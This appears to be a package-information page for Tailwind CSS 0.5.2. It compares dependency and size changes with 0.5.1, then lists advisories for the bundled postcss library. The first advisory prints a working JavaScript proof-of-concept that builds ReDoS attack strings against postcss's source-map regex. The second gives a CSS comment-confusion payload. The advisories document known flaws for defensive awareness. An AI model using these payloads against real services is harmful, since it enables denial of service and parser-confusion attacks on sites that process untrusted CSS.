Tailwind CSS version 0.5.2 introduces subtle but potentially impactful changes for developers utilizing this utility-first CSS framework. Comparing it to the prior stable version, 0.5.1, we observe modifications primarily within the development dependencies. Notably, nsp (Node Security Platform) is new to the devDependencies in 0.5.2, suggesting an increased focus on security auditing during the development process. While not directly impacting the framework's runtime behavior, this addition indicates a proactive approach to code vulnerability management.
Moreover, the "dist" object reveals changes in the package's distribution. The unpacked size has decreased from 1,520,123 bytes in 0.5.1 to 1,495,832 bytes in 0.5.2.This reduction could signify optimizations in the codebase or adjustments to included assets. While the file count remains consistent, developers might experience slightly faster install times and potentially reduced disk space usage.
Another key difference from version 0.5.1, is the removal of nodemon dependency. If you were relying on nodemon as a dev dependency for automatic restarts during development, you will need to add it manually to your project (npm install -D nodemon).
Overall, upgrading to version 0.5.2 offers benefits in terms of security enhancements and potentially improved download performance. Developers are encouraged to review the change logs for comprehensive details before upgrading.
All the vulnerabilities related to the version 0.5.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.